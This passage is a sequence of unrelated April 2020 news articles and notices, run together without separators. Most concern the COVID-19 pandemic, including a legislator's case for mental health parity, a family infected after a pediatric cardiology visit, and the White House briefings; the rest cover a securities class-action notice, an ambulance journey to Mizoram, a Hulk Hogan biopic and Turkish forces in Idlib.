appetite or funding to enact mental health reform this year is unclear. The focus is unquestionably on responding to the novel coronavirus. Gov. Gavin Newsom is scaling back his own plans to expand health care. His budget advisers told lawmakers on April 16 the state will spend at least $7 billion to respond to the pandemic. And state Senate President Pro Tem Toni Atkins has asked lawmakers to focus on bills related to the outbreak. Beall talked to California Healthline's Samantha Young about why he believes mental health care must remain a priority. He and state Sen. Scott Wiener (D-San Francisco) have said they intend to pursue companion bills creating state parity laws, which would require health plans in California to provide mental health care benefits on par with medical benefits. Their previous attempts have failed, in part because of opposition from the health insurance industry. Beall also wants the state to certify mental health peer-support specialists, people who rely on their own experiences to help others in treatment. This interview has been edited for length and clarity. Q: The state's response to the coronavirus has taken center stage. Are the mental health reforms you and others have advocated on hold for the year? I think they are more needed than ever. People are very vulnerable under this kind of stress. Senior isolation is a big problem, and it's going to get worse and worse. The economy is distressed, people losing jobs causes a huge amount of stress, not being able to pay the rent, PTSD kicks in with veterans. Q: How do you pay for mental health programs when there is so much competition in the budget to respond to the coronavirus? Counties have Mental Health Services Act reserves to support existing services during a crisis like this pandemic. They are also receiving state and federal emergency funds. But it's never enough. We have to find a way to shift our priorities. The homeless mentally ill population is highly susceptible to the virus. Prioritizing mental health spending is key to the success of a whole community. Q: What are your priorities on mental health care? Mental health has always been a segregated element of health care. It should be treated just like any other part of your body in terms of the health care system. It isn't. We've been trained in our minds to think of mental health as a social failing, not a real, legitimate health care issue. In fact, mental health is just like any other disease. If you don't treat it, it gets worse and worse. So I believe mental health parity is very important because of that. And I have a philosophical belief that unless we require parity, it won't happen. Q: The governor said the state can enforce the existing federal mental health parity law. Can you explain why you believe a state law is needed? Right now with the staff the state has, they check health plans every three years. We want them to check every year and to do more vigorous checks. Real parity is how long it takes to get an appointment. How many months do I have to wait when they give me a referral to a doctor? Is the doctor able to take patients or is it just a doctor on a list? Q: Your parity bill focuses on the treatment of substance abuse. Why is that an area that needs focus? That's one of the main lagging things with parity. Substance abuse, just a decade ago, was thought of by most people as a human failing, not a medical issue. A lot of people still think that way. Now, if a doctor sees a patient and the patient has addiction, the doctor says, "You know you're addicted to opioids and I've got to give you this prescription because we have to deal with your addiction. But I can't really do it right now because I have to submit the request to the insurance company and have them review and approve your medication." That can take a couple weeks, and in some cases they overrule it. What this bill says is if a doctor says that you're in need of care for a medical addiction and the doctor prescribes medication, the health plan cannot stop the doctor from prescribing the medication for you. Q: Why is it in the state's interest to require insurance companies to cover mental health services equally? When the insurance companies don't provide mental health services, people get sick. You know what happens when they get sick? They lose their jobs. When they lose their jobs, guess what happens. When they're unemployed, they go on Medi-Cal. Not having good health insurance programs with mental health care costs the state a lot of money when people end up on the Medi-Cal system. This KHN story first published on California Healthline, a service of the California Health Care Foundation. US Navy Announces Discharge of Last COVID19 Patient From USNS Comfort, Leaving NY by End of April Sputnik News 01:24 GMT 27.04.2020 On 30 March, The 1,000-bed hospital ship arrived to New York, the largest COVID-19 hotspot in the United States and the world, to assist in combating the novel disease after the city's hospitals became overwhelmed with COVID-19 patients. The US Navy announced on Sunday that the hospital ship USNS Comfort has discharged its last COVID-19 patient and is preparing to leave New York City, heading back to its homeport, the US Naval Station Norfolk in Virginia, by the end of this month. The 894-foot floating military hospital has reportedly treated 182 COVID-19 patients since it docked in New York. The patient discharged on Sunday was the last aboard the ship. It's unclear whether the patient has been transferred to another hospital or discharged completely. The Comfort will be heading from Virginia, after undergoing maintenance and restocking, for another possible destination to assist in the response to the pandemic, said Pentagon spokesman Jonathan Hoffman, without providing a date for the ship's new life-saving mission. "[The USNS Comfort's approaching departure] is a sure sign of modest progress in mitigating the virus in the nation's hardest-hit city and is a welcome sign," Hoffman said. Earlier in the day, New York Governor Andrew Cuomo said that the state's daily COVID-19 death figure declined below 400 for the first this month. As of Sunday, New York has confirmed 288,076 coronavirus-related infection cases, including 17,280 deaths. The overall COVID-19 infection figure of the United States stands at 965,426, with 55,383 deaths, according to data assembled by the Johns Hopkins University. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Starbucks on Tuesday said that its fiscal second-quarter global same-store sales fell 10% as the coronavirus hit sales in its two largest markets, the United States and China. The company also warned that its fiscal third-quarter results will take an even bigger hit from the pandemic, even as sales in China begin to recover. Shares of the company fell less than 1% in extended trading. Here's what the company reported for the quarter ended March 29: Earnings per share: 32 cents, adjusted Revenue: $6 billion The coffee chain reported fiscal second-quarter net income of $328.4 million, or 28 cents per share, down from $663.2 million, or 53 cents per share, a year earlier. Excluding items, Starbucks earned 32 cents per share, down nearly half from the prior year. Catastrophe pay for baristas, hourly pay increases and the cost of store safety items such as face coverings weighed on profits during the quarter. Net sales dropped 5% to $6 billion as Starbucks closed cafes and government officials told consumers to stay at home. The company estimates that it lost $915 million in sales during the quarter due to store closures, reduced operating hours and lower customer traffic resulting from the pandemic. Wall Street anticipated earnings per share of 34 cents on revenue of $5.89 billion, based on a survey of analysts by Refinitiv. NEW ORLEANS - The former New Orleans mayor who led the city amid Hurricane Katrinas devastation and was later convicted in a corruption case was released from prison early due to the coronavirus pandemic. Ray Nagin, 63, got out of federal prison Monday, news outlets reported. Nagin was home with family in the Dallas area, his brother-in-law Cedric Smith said late Monday. Nagin was sentenced to 10 years in prison in 2014 on multiple counts including wire fraud, money laundering, bribery and more. The charges relate to crimes that happened before and after Hurricane Katrina struck in 2005. He was mayor from 2002 until 2010. The release comes as the Federal Bureau of Prisons allows inmates who may be vulnerable to contracting COVID-19, and have served more than half of their sentence for a nonviolent crime, to be sent home, news outlets reported. The new coronavirus causes fever and cough, but also milder cases of pneumonia. The risk of death is greater for older people and those with other health problems. Nagin had served about 56% of his sentence. He was scheduled to be released in September 2024, but was expected to get out on March 16, 2023, for good behaviour, WWL-TV reported. ___ Follow AP coverage of the coronavirus pandemic at http://apnews.com/VirusOutbreak and https://apnews.com/UnderstandingtheOutbreak Fox Nation's Tomi Lahren is in hot water after she brazenly claimed compliance with social distancing measures was like 'willful slavery.' In the now-deleted Monday tweet, the 27-year-old continued expressing sentiments that shelter-in-place orders were infringing on the rights of Americans. Lahren has been an outspoken critic of shelter-in-place orders and the impact the coronavirus has had on the U.S. economy, celebrating those who have taken to the streets to protest the protective measures. 'Compliance is starting to look a whole lot like willful slavery,' Lahren said in the Monday tweet, utilizing the #ReopenAmerica hashtag 'Compliance is starting to look a whole lot like willful slavery,' she said in the tweet, utilizing the #ReopenAmerica hashtag that has become the norm for her. The tweet was quickly deleted soon after it was posted and after Lahren's comments were inundated with people shocked by her remarks. Singer Richard Marx said: 'Hey @TomiLahren go ride the subway, shop at a mall and hold the escalator handrail and hug random fans with no mask on video or shut your ignorant mouth.' The tweet was quickly deleted soon after it was posted and after Lahren's comments were inundated with people shocked by her reckless remarks A user said: 'Willful slavery??? Just how stupid ARE you?' Another added: 'Willful slavery??? Just how stupid ARE you?' A different user shared a comment from conservative CNN commentator S.E. Cupp, who referred to Lahren's remarks as being 'politically incoherent, dangerous, and straight up stupid.' The man declared. 'Hey #TerribleTomi, news flash: There's nothing "willful" about slavery and there's zero resemblance between shelter-in-place orders and any imprisonment or slavery!' Following her offensive tweet, Lahren took to Twitter to slam NYC protesters who were protesting against over-policing in the city's subway, claiming those who supported them but not the anti-lockdown protests were going through 'mental gymnastics.' 'The same people who said it was acceptable and valiant to jump turnstiles and riot in the streets over paying a subway fare are now shaming and demonizing Americans who simply want to reopen their businesses and get back to work,' she asserted. 'The mental gymnastics is impressive.' But folks pointed out that Lahren was the one actively participating in 'mental gymnastics,' noting that she had every negative word to say during Colin Kaepernick's protest against police brutality during the national anthem. Lahren took to Twitter to slam NYC protesters who were protesting against over-policing in the city's subway, claiming those who supported them but not the anti-lockdown protests were going through 'mental gymnastics' Share this article Whatsapp Facebook Twitter Linkedin Sebastian Smith (Agence France-Presse) Washington, United States Tue, April 28, 2020 07:42 625 fc6853813033f564188675f8bd490a07 2 World Donald-Trump,White-House,press-freedom,journalism,US,media Free The White House abruptly canceled -- and then reinstated -- Monday's coronavirus media briefing after President Donald Trump, ridiculed for his suggestion to inject patients with disinfectant, railed against "enemy" journalists. The afternoon press conferences -- which began as a way to inform Americans about developments in the crisis but eventually took on the combative tone of Trump's campaign rallies -- have been a daily fixture since March. On Thursday, a freewheeling Trump ran into a public relations disaster when he suggested people could possibly inject disinfectants to fight the virus, prompting a barrage of scorn, alarm and criticism around the world. The next day, an angry Trump left the briefing without taking questions. Over the weekend, no briefing was held. And on Monday, the White House first scheduled a briefing, then called it off -- and then added it back into the agenda. Trump's new press secretary, Kayleigh McEnany, said the topic would be "additional testing guidance and other announcements about safely opening up America again." In the wake of the turmoil, White House strategic communications director Alyssa Farah chipped in with a light-hearted dig. "We like to keep reporters on their toes," she tweeted, adding a winking emoji. Presidential sarcasm There's been no such humor coming from the Oval Office -- except, possibly, for the sarcastic kind. Trump has been incensed by unflattering newspaper reports about his work habits and use of the sometimes two-hour briefings to praise himself, while battering rivals. He tried damage control after his disinfectant comment by claiming it was sarcasm aimed at journalists during the press conference, although he'd clearly been talking directly to his medical advisors, not the journalists, and there was no sarcasm apparent in his voice. Over the weekend, he also used the sarcasm defense to explain a bizarre tweet in which he told journalists whom he believes treat him unfairly to give back their "Noble Prizes." When the Twitterverse lit up with questions about why Trump was misspelling the Nobel Prize, which is not even awarded to journalists, and whether he really meant the Pulitzer Prize, the president complained: "Does sarcasm ever work?" On Monday, Trump kept up an anti-media tweet storm, writing: "FAKE NEWS, THE ENEMY OF THE PEOPLE!" "There has never been, in the history of our Country, a more vicious or hostile Lamestream Media than there is right now, even in the midst of a National Emergency, the Invisible Enemy!" Trump also wrote. New look briefings? Yet another tweet on Saturday fed rumors that Trump was going to shut down the briefings altogether. "What is the purpose of having White House News Conferences when the Lamestream Media asks nothing but hostile questions, & then refuses to report the truth or facts accurately," Trump wrote, adding his frequent refrain that he got "record ratings." The Republican incumbent, whose re-election campaign is staggering from the economic shutdown in response to the coronavirus threat, faces huge pressure to demonstrate his leadership. McEnany indicated that a new strategy would be rolled out, emphasizing Trump's business background and his focus on reopening the US economy. "We're looking at different ways to showcase this president leading," she told Fox News. McEnany suggested a shift "to showcase [to] the American people the great entrepreneurship of this president." "I'm not going to get ahead of what the briefings will look like this week. They may have a different look," she said. The baby was born on the eighth day of February, blue eyes and sandy hair. Angelina and Joseph McCreary had been so anxious about the pregnancy that they had waited nearly 20 weeks to tell their families. But now Baby Joe was here, and not just healthy, but a full nine pounds. There was just one thing, the doctor told the Collegeville couple: Baby Joe had a slight murmur in his heart. It was probably nothing, but to be safe the doctor advised Joe and Angelina to schedule a visit with a pediatric cardiologist. A new stay-at-home mom after years working in a dental office, Angelina dedicated herself to finding the best doctor to examine her baby boy. Joe, an officer with the Lower Providence Police Department, took the day off work for the appointment. On Monday, March 2, they pulled into the parking lot of the King of Prussia location of the Childrens Hospital of Philadelphia. Dont touch anything, Angelina warned her husband and 2-year-old daughter. She was worried about the flu. In what has become a well-known, early chapter of COVID-19 in Philadelphia, a cardiologist at that office saw 24 patients over four days after traveling to a country where the coronavirus was circulating. By the time the doctor was hospitalized a week later, schools in six districts had to close for cleaning, and the virus was spreading across the region. A spokesperson for CHOP said the doctor wasnt required to self-quarantine after his trip abroad because the Centers for Disease Control and Prevention had not designated the country he visited as Level 3, or high alert, for the virus. The McCrearys would later find a Facebook photo of the cardiologist in Egypt. CHOP has refused to confirm the physicians identity; a letter left by The Inquirer at his home was not answered. Now, with thousands infected or dead, and many more afraid to leave their homes, the disease is imprinted in every corner of our minds. But when the McCrearys took their infant to CHOP, there were no confirmed cases of COVID-19 in Pennsylvania. They had no idea they could become infected, much less spend five days in intensive care or that they would unwittingly spread the virus to at least 20 of their friends and family members across communities and counties. Waiting to see the doctor at CHOP that Monday, all Joe and Angelina knew was that the baby boy they had been so anxious about was almost in the clear. The cardiologist introduced himself. Joe shook his hand. I. Family There are many frightening flags of the coronavirus, from the high fevers and ambulance sirens to the intubating tubes and packed morgues. But just as scary, scientists say, is how invisible the virus is. Symptoms, on average, take five to seven days to appear. Some people never feel sick, but are contagious all the same. "Were learning that stealth in the form of asymptomatic transmission is this adversarys secret power, the surgeon general of the U.S. Navy has said. Three days after the babys appointment, Joe was promoted to corporal. There was a short ceremony after the Pledge of Allegiance at the monthly meeting of the Lower Providence Township Board of Supervisors. Joe stood at attention as his chief joked that his K-9 partner was the brains of the operation. The chief called for Angelina to come to the front and pin on her husbands new badge. She handed the baby to Joes father. The maintenance supervisor at George W. Hill Correctional Facility, a prison in Delaware County, Joe Sr. was then a month shy of his 65th birthday. He liked to joke that Joe, 35, was a hardheaded kid who had surprised him by becoming a cop. In reality, it was in Joes blood. His grandfather was an officer, two of his cousins are police in Montgomery County, and another cousin was slated to be sworn in down in Virginia. Joe grew up near Havertown and, in 2008, graduated from the Delaware County Municipal Police Academy. He worked as a correctional sergeant at the prison and a part-time officer for various local departments before joining Lower Providence in 2015. He liked helping the community, being on the front line of things. It had taken four hours, but Angelina got their newborn and their 2- and 5-year-old daughters ready for the promotion ceremony. The girls loved climbing all over their father, and were excited that Daddy was getting a new pin, Angelina said. Now she posed for a photo with her husband. Joe shook hands with his fellow officers. Then he walked up on the dais, and shook hands with each member of the Board of Supervisors. After the ceremony, Angelina took the children for ice cream while Joe went to Eagleville Tavern for drinks with his father and two cousins one a detective in Montgomery County, another a sheriffs deputy. When they returned home at 11 p.m., the kids were asleep. Joes father decided to stay the night. For a few days now, Joe had had a minor cough. He thought he was coming down with a cold. But that night, he woke up in a cold sweat. He felt unsteady as he headed upstairs to take a shower to warm up. Angelina took his temperature: 103 degrees. She thought, He picked up the flu at CHOP. The next day, Joes father headed to work at the prison. Joe went to an urgent care in Limerick Township. He told them that his legs and arms hurt, that he had a fever and was having trouble breathing. The urgent care doctor prescribed Tamiflu. It was Friday afternoon. As long as you dont have a fever on Sunday, she told Joe, you are allowed to go back to work. II. Colleagues On Sunday morning, Joe met his squad for breakfast at a Homewood Suites. His fever had broken over the weekend, and he was excited to be back at work. Of the 30-some officers in Lower Providence Township, about a dozen had come to his promotion ceremony. Some of them had received commendations. Another officer had been promoted to sergeant, his wife and 2-year-old daughter in tow. After breakfast, Joe got a call: Someone had called a bomb threat in to Arbour Square, a senior assisted living facility in West Chester. Joe and his K-9 partner specialized in detecting explosives. He headed to the scene. The retirement communitys 150 residents had evacuated by the time Joe arrived. He worked with officers from West Goshen Police Department, as well as Arbour Squares leadership, to case the facility. After two or three hours, they cleared it, and Joe returned to Lower Providence. When he came home that day, Joes head was swimming again. He told Angelina, Something isnt right. Worried about the baby, she gave her husband a blanket and pillow and told Joe to stay in another room. All night, his muscles ached. He raised the heat in the house to 80 degrees, but still shivered. Joe slept for much of the next day. It was Monday, March 9, and he had the day off. Angelina took the baby and their daughters to play outside with the neighbors kids. The girls drew pictures on the sidewalk with chalk. As a police officers wife, Angelina always kept her phone nearby, even with Joe home and asleep. Now she listened to it vibrate on the bench out front of their home, watching the kids play in the cul-de-sac. After their appointment at CHOP, Angelina got emails and phone calls asking her to rate her experience; it was typical, she said, of what happened any time she took the children to a new doctors office. But as the morning turned to afternoon, the calls started coming in every 15 minutes. All different numbers were calling now, and they were leaving voice mails, too: Im calling from the Childrens Hospital of Philadelphia, infection prevention and control department. This message is for the parents of Joseph McCreary. We have an urgent message to share with you. Angelinas head snapped up. III. Neighbors While the kids were playing, Angelina had been talking with Adam Sharrer, who lives at the corner with his wife, Becky. The families had been close since the McCrearys moved into the neighborhood four years ago. They had a lot in common. Adam worked as a correctional officer in Montgomery County, and their son was in kindergarten with the McCrearys older daughter. There had hardly been a day in the last week when their children had not played outside together. When the weather was bad, they took turns hosting dinner. The Sharrers had come over that week to play with Baby Joe, bringing him a blue rattle, a reprieve from his sisters hand-me-downs. Now Angelina called for her husband to come outside, then put the phone on speaker as she connected with CHOP. Are these the parents of Joseph McCreary? the voice asked the cul-de-sac. Yes, they said. We have to inform you that you were exposed to a doctor who tested positive for the coronavirus. The caller from CHOP told Angelina and Joe that they needed to gather their kids, go inside the house, and stay in there for 14 days. Adam, their neighbor, asked what he was supposed to do. The CHOP official told him to get away from the McCrearys immediately. At that time, Joe said, I knew it wasnt going to be good for me. He had not thought about the coronavirus, did not even know what the symptoms were. But suddenly it all clicked. He had lost his sense of taste a few days ago. When had that ever happened with the flu? He called his chief. At Phoenixville Hospital that night, nurses swabbed inside Joes nose to test him for coronavirus. Angelina took the calls that came every hour from the Montgomery County Health Department. They were beginning what they called the tracing process. They asked Angelina: Who were you in contact with this week? Where did you go? What did you do? Joe was told to go home and stay in a room by himself. The next day, he began to feel worse than ever. My body was shut down, from head to toe, he said. And thats when I fell. Angelina had him propped up on the couch, trying to take his temperature, when Joe slid off onto the floor. She called for an ambulance. When the EMTs arrived, Joe could not tell them his name. They put him on a stretcher, and told Angelina she could not go to the hospital. She stood in the street as the ambulance drove away. IV. The results At Phoenixville Hospital, as doctors and nurses began to prick his skin with IVs, Joe got a call from the county Health Department: He had tested positive for the coronavirus. In the intensive care unit, doctors put Joe on oxygen. He had pneumonia in his lungs and a bacterial infection in his blood. A nurse asked him if he wanted to speak to a chaplain. He slept for days in the hospital, waking to wonder about his family. Was everything in order for them, if he didnt make it home? Where would the girls go to school? Would they have money for college? And the little man. Meanwhile, everyone whose life had bumped up against his was getting a phone call from the Montgomery County Health Department. His father, Joe Sr., was tested on March 11. Angelina was tested on the 12th. The Lower Providence police chief got tests for the force. Four officers at West Goshen Police Department who had worked the Arbour Square bomb threat with Joe went into quarantine. If any of my officers had become infected, it would have shut us down, said Chief Joseph Gleason. But none of them did. We were very fortunate in that respect. Four staff members at Arbour Square the executive director, the maintenance supervisor, the business office director, and the concierge had to quarantine for 14 days. Adam, the neighbor, was tested the same night Joe left in an ambulance. He quarantined with Becky and the kids, waiting for the results. Before they found out Joe had the virus, Adam had reported to work each day, as had Becky, a special-education teacher at a local elementary school. Their daughter had been to day care, and their son had gone to a program at the Y. That was scary to us, Becky said. All the people we could have impacted was kind of disturbing. ... It took a toll on us, for sure. You dont realize how many people youre around until you think about it. Three days later, on March 13, Adam got the call: He was negative for the coronavirus. It was a big sigh of relief for a lot of people, he said. Joe Sr. also got a call that day. He was positive. The 64-year-old had felt sick for a few days but thought he was on the mend. The next day, he tried to walk from his bedroom to the bathroom, and gasped for air. He was admitted to Crozer-Chester Medical Center on March 17. At least 10 officers at Lower Providence tested positive for the coronavirus. The 2-year-old daughter of the officer who was promoted alongside Joe tested positive. Workers at the district court in Lower Providence, whom Joe had seen the morning of his promotion ceremony, tested positive. At the Delaware County prison where Joe Sr. worked, colleagues who had been in meetings with him tested positive. Inmates who had worked for him tested positive. Joes cousins the ones who had come to his promotion ceremony and celebrated him with beers afterward tested positive. And then so did Angelina. She has a history of asthma, and started having trouble breathing. Alone with three children and an infant, she walked around her house in a mask to protect them, wondering what to do. She called her primary care doctor and explained. I cant end up in the hospital, she said. On Flonase and an inhaler, she says she mommed up. It was pretty much one of the hardest experiences ever, the biggest anxiety, the biggest concern, she said. But at the same time every mom out there can probably agree you are just go, go, go, like I have to do this. Theres no time to be sick. Theres no time to worry. Its just, you need to take care of your kids, you need to figure out whats going on with your husband. Just keep going. V. The check Five days after Joe left home in an ambulance, he called his wife. Could she pick him up from the hospital? Joe was still sick with COVID-19. But he was breathing on his own again, and his pneumonia and blood infection were clearing up. The doctors told him that his body would be able to fight off the rest of the disease on its own. They brought in a walker, told him to see if he could get around. Joe stared at the walker. He used to bench-press 315 pounds, lace up neon-orange sneakers, and run for miles. He asked for a cane. At home, he had to stay quarantined away from his children. The girls asked why they couldnt climb on Daddy. Angelina threw away everything her husband had worn or touched before he left for the hospital. She rolled up the rugs. Angelina kept calling Crozer-Chester, until Joes father came home from the hospital a week later, 20 pounds lighter. It took me a couple days to get my head back together, Joe Sr. said. All that isolations just not good for people. Sixty-four people 22 inmates and 42 staff have now contracted coronavirus at the Delaware County prison, though with the virus so widespread, its likely they didnt all get it through Joe Sr. It was three more weeks until he went back to work, and two more before he felt like himself again, he said. He has not been able to hold his grandson since the night he came home from the hospital. And the fact that hes carrying my name and I cant see him, Joe Sr. said. That really ticks me off. Angelina was changing Baby Joes diaper on April 2 when someone knocked loudly on the front door. She jumped. It had been exactly one month since the appointment at CHOP, and for three weeks now, she had been quarantined, no one coming to the door. When she looked through the window, she saw a UPS delivery driver walking back to his car. She opened the envelope he had left on their porch table. It was from CHOP. Signed by Douglas Hock, executive vice president and chief operating officer, the letter said CHOP was aware that you and members of your household were required to self-quarantine for 14 days following your visit to our King of Prussia site. We want you to know that we recognize the inconvenience and potential hardships caused by this situation," Hock wrote, "and want to help ease the burden on your family by providing the enclosed check from CHOP for $2500. And there it was, a check written out to the McCrearys. Angelina woke up Joe, sleeping upstairs. I started reading the letter, he said. And its like an apologetic letter. He looked at the check. He thought, Why do we have this? Joe remembered their March appointment at CHOP. When he checked in with the receptionist, she asked him if the family or anyone they had been in contact with had traveled overseas. I wish I had asked, Has the doctor were about to see? A spokesperson for CHOP said they sent the checks and letters to about two dozen families the same number of patients who saw the infected cardiologist in the first week of March. We chose an amount that we hoped would be meaningful and helpful to families, she said. The well-being of families in our care is our highest priority, the letter said. And thats the irony of it all, Joe thinks now, still out of breath as he tries to climb the stairs. They contracted the virus at a doctors office, trying to make sure their infant son was healthy. Now Baby Joe is 6 weeks old, and his father has been quarantined away from him for half his life. He was so excited for his son, the fourth Joseph McCreary in the line. As a newborn, the baby slept on Joes chest. But when Joes cough finally let up in mid-April, and Angelina let him hold his son again, Baby Joe didnt know his father anymore. He screamed. NEW YORK, April 27, 2020 /PRNewswire/ -- Kaplan Fox & Kilsheimer LLP (www.kaplanfox.com) is investigating claims on behalf of all former owners of E-House (China) Holdings Limited ("E-House") American Depository Receipts ("ADS"), who sold E-House ADSs (i) during the period from April 15, 2016, until August 31, 2016, inclusive (the "Class Period"); or (ii) by way of, or as a result, of tendering their ADSs as part of the Merger (as defined below), regardless of when that tender occurred. E-House describes itself as a "leading real estate services company in China." According to the complaint, in June 2015, the Company announced that it had received a buyout offer from its CEO, Defendant Xin Zhou, and another Director, Defendant Neil Nanpeng Shen. Shortly thereafter, SINA Corporation joined them in forming a "Buyer Group." On April 15, 2016, E-House executed a merger agreement with the Buyer Group, where each ADS would be bought for $6.85 per ADS (the "Merger"). ADS holder approval, however, would still be required before the Merger could close. According to the complaint, on April 25, 2016, the Company published a preliminary proxy seeking ADS holder approval for the Merger. In an attempt to persuade ADS holders to accept the deal, the preliminary proxy allegedly contained numerous false and misleading statements and omissions. Specifically, the complaint alleges that the proxy falsely and misleadingly stated that (i) the Merger was fair and in the best interest of those investors not affiliated with the Buyer Group; (ii) there were no plans for post-Merger transactions; and (iii) the projections in the proxies were based on the best available information. According to the complaint, in truth, the Merger was not fair, there were planned post-Merger transactions, and the projections in the proxies were not the best available. According to the complaint, contrary to statements in the proxies, Defendants set into motion post-Merger transactions, which culminated in the registration of shares for listing on the Hong Kong Stock Exchange in July 2018. This relisting reflected a valuation far higher than the consideration of $6.85 per ADS given in connection to the Merger. As a result of Defendants' wrongful scheme to take E-House private at less than fair value (with the goal of relisting it at a higher valuation), former ADS holders outside the Buyer Group have allegedly suffered harm under the federal securities laws. If you sold or otherwise disposed of E-House ADSs during the Class Period or if you tendered ADSs into the Merger you are a member of the "Class" and may be able to seek appointment as Lead Plaintiff. If you are a member of the proposed Class, you may move the court no later than June 9, 2020 to serve as a lead plaintiff for the purported class. You need not seek to become a lead plaintiff in order to share in any possible recovery. If you would like to discuss the complaint or our investigation, please contact us by emailing [email protected] or by calling 646-315-9003. This press release may be considered Attorney Advertising in some jurisdictions under the applicable law and ethical rules. Kaplan Fox & Kilsheimer LLP, with offices in New York, San Francisco, Los Angeles, Chicago and New Jersey, has many years of experience in prosecuting investor class actions. For more information about Kaplan Fox & Kilsheimer LLP, you may visit our website at www.kaplanfox.com. If you have any questions about this Notice, your rights, or your interests, please contact: Donald R. Hall KAPLAN FOX & KILSHEIMER LLP 850 Third Avenue, 14th Floor New York, New York 10022 (646) 315-9003 E-mail: [email protected] Laurence D. King KAPLAN FOX & KILSHEIMER LLP 1999 Harrison Street, Suite 1560 Oakland, California 94612 (415) 772-4704 Fax: (415) 772-4707 E-mail: [email protected] SOURCE Kaplan Fox & Kilsheimer LLP Related Links http://www.kaplanfox.com The rain failed to deter many in Mizorams capital Aizawl on Tuesday who came out to thank two ambulance drivers Jeyanthiran and Chinnathambi. The duo had driven nearly 3,450 km from Chennai to Aizawl carrying the body of a Mizo youth, Vivian Remsanga, who died in Chennai. Against all odds. 3,000 plus km of hardship and struggle wont dampen the spirit of resting the tragic earthly remains of Vivian Remsanga by his friend Raphael AVL Malchhanhima along with Jeyanthiran and Chinnathambi, both from Tamil Nadu. Mizoram salutes you, Mizoram Chief Minister Zoramthanga tweeted on Tuesday. Malchhanhima was Remsangas friend, who also undertook the journey in the ambulance. Thank you from the bottom of our hearts. You have just shown what every Mizo heartbeat means when it comes to the term Tlawmngaihna, the CM said. Loosely translated, Tlawmngaihna is a Mizo code of conduct that urges everyone to be hospitable, kind and helpful. It was on full show in Aizawl as people, maintaining social distancing norms, handed traditional shawls, shirts and more to the two drivers. Photos and videos of the ambulance arriving at Aizawl soon went viral. Twenty-eight year old Vivian, who graduated from a Chennai-based hotel management institute in February this year, expired in the city on April 23 due to a heart attack. His body was found by the Adyar police. Cause of death was not Covid-19 or physical assault. We were able to trace his family back to Mizoram. Fortunately, we found an ambulance which was willing to take the body back, said PC Michael Lalrinkima, general secretary of Mizoram Welfare Association, Chennai. The ambulance, which charged around Rs 2 lakh for the trip, started past midnight on April 24 and reached Aizawl this afternoon. Vivians friend, Raphael, decided to accompany the body, he added. There have been two other instances of people from Tripura, who were undergoing treatment in Chennai, returning back to their state in ambulances during the lockdown. Earlier this month, a couple journeyed over 3,000 kilometres to their hometown at Udaipur in Gomati district, 50 kilometres from Agartala. On Monday night, another ambulance from Chennai reached Kamalpur in Dhalai district of Tripura carrying the body of a 72-year cancer patient. The deceased, Mukul Chandra Dhar, had gone to Chennai in February for treatment. But when the lockdown started, Dhar decided to return, accompanied by his son and a relative. However, Dhar expired on the way. (With inputs from Priyanka Deb Barman in Agartala) SHARE THIS ARTICLE ON In the wrestling world, Hulk Hogan is a living icon. Not only is Hogan a popular wrestling star, but he also is one of the few wrestlers who became a celebrity outside of the wrestling world. This is a notable feat for a lot of reasons, the biggest of which is that the wrestling world is so weird that its difficult for a wrestler to escape its weirdness. Regardless, Hogan escaped from wrestling and now, Thor star Chris Hemsworth is set to star as Hogan in a biopic. Heres why he thinks that it will be a fascinating look inside Hogans life and the wrestling world in general. Who is Chris Hemsworth? Hemsworth is probably best-known for playing Thor in the Marvel movies, but hes had other roles outside of Marvel. For example, his first role in a Hollywood movie was actually in the Star Trek reboot movie. Then, he was cast as Thor, and his popularity blew up. One of his best movies outside of Marvel is Rush, which is a movie about the racing rivalry between Niki Lauda and James Hunt. On top of that, hes acted in plenty of war movies, such as the Red Dawn reboot, 12 Strong, and, more recently, Extraction. Along the way, the Australian actor likes to dip his toes into different genres, such as in Bad Times at the El Royale, where he plays the role of an evil cult leader. What Chris Hemsworth said about the Hulk Hogan biopic Chris Hemsworth | Ernesto Ruscio/WireImage Due to the Coronavirus pandemic, hes not shooting this movie anytime soon, but the writers and director are still working on it. As a result, he has to keep things hush-hush for now. But, in a recent interview, according to People, he did divulge some interesting tidbits of information about the movie. Regarding Hogan and the wrestling world, Hemsworth said: Im just fascinated by that world, and I think theyre pretty keen to show a side of the world that people havent seen before. Todd Phillips, who directed Joker, will be directing this biopic, according to People. Additionally, the movie wont focus on Hogans later struggles, but rather, his early life and his early career in wrestling. While this isnt a lot to go on, it is enough to get a picture of what kind of movie Hemsworth and Phillips are making. Plus, as People reported, Hogan will serve as a consultant and as an executive producer on the movie, so that should give it a more authentic feel. A look at Hulk Hogans early life and career Hogan nowadays is a more controversial figure, but in his youth, he was just a struggling wrestler who didnt have a good gimmick yet. Professional wrestling is all about having a gimmick or a unique personality and it took a while for him to create the character of Hulk Hogan. That struggle of coming up in the wrestling world, especially the wrestling world of the 70s, is a unique one that this biopic will try to show off authentically. As Phillips showed in Joker, he can make a serious film about a guy like The Joker becoming himself. Thats likely what this biopic will try to do, too. For example, before Hogan created Hulkamania, Hogan wrestled in Japan for New Japan Pro-Wrestling. This era of Hogans career is less known to some American fans, but it was an interesting time for Hogan and for professional wrestling in general. That said, given how little we know about this movie, the director and writer have a lot of options. Hogan simply had a long life and career that could ultimately be used for a movie. Turkish forces gun down two protesters in northwest Syria Iran Press TV Monday, 27 April 2020 8:11 AM Turkish forces have reportedly opened live fire on people protesting their patrolling of a key highway in northwestern Syria, killing two people and wounding three more. The protesters had set up roadblocks across the part of the M4 Highway that runs close to the government-held village of Nairab in the Idlib Province to oppose the patrols. The casualties were caused after the Turkish military attacked them on Sunday, using live rounds and tear gas canisters, the Associated Press reported, citing activists. The Turkish forces have been allowed to man a number of observation posts in Idlib as part of a de-escalation deal reached between Turkey and Russia in the Black Sea resort of Sochi in September 2018. Earlier this year, however, Turkish troops were reported to have ventured far outside the areas that are assigned to the posts and engaged in heavy clashes with Syrian soldiers. The Turkish presence in the province has also featured heavy support by Ankara for a number of anti-Damascus militant outfits, something that has been widely condemned as counterproductive to any de-escalation efforts. Separately, the so-called Syrian Observatory for Human Rights, a UK-based monitor, said the Turkish military was implementing a policy of "demographic change" across several parts of Syria. The policy has witnessed abductions and arbitrary arrests, it added, saying it was targeting Kurds and Arabs alike. The Observatory named one of the targeted areas as the Kurdish-populated town of Afrin. It said civilians from Eastern Ghouta in southwestern Syria and other Syrian areas were also being housed in several areas in the northern cities of Raqqah and Hasakah. The Turkish military launched its first incursion into Syria in 2016 